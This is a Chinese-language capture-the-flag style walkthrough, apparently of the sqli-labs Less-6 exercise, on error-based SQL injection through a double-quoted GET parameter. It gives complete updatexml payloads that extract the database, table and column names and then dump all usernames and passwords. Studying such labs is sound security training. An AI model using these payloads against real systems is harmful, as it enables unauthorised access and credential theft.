Less-6(GET-Double injection-Double Quotes-String)
打開Less-6頁面,可以看到頁面中間有一句Please input the ID as parameter with numeric value,那么先使用ID這個引數通過GET方式傳入一個數值,

確定注入點
注入陳述句:?id=1,

從上圖可以看出傳入id=1并沒有回顯查詢結果,接著試一下?id=1',并沒有任何例外,那么嘗試一下?id=1",發現在引號附近產生歧義導致了報錯,并且通過報錯資訊可以看出閉合SQL陳述句時用的是雙引號,這時可以考慮使用報錯注入(有關報錯注入),

使用注入陳述句:?id=1" --+看看是否能夠正常閉合并注釋,從下圖看出是沒有問題的,

確定當前資料庫名
注入陳述句:?id=1" and updatexml(1,concat(0x7e,(select database())),1) --+,其中,concat函式用于連接兩個字串,形成一個字串,concat('a','b')='ab',這樣當爆出多個資訊時,可以通過~進行分割,

從報錯資訊中可以看出,當前資料庫為security,
確定資料庫中的資料表
注入陳述句:?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) --+

確定users表中的列名
注入陳述句:?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),1) --+

通過上述注入可以得知users表中存在三列,分別為id、username、password,
確定users表中的用戶名和密碼
注入陳述句:?id=1" and updatexml(1,concat(0x7e,substring((select group_concat(concat(username,'^',password)) from users),1,31)),1) --+

從上圖可以看出,爆出的賬號密碼長度超出了32,所以需要繼續使用substring()函式每隔32位截取一次,最終拼湊出全部內容,
至此,就得到了當前表中所有的用戶名和密碼,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/504446.html
標籤:其他
下一篇:如何在回圈外列印變數的所有值?
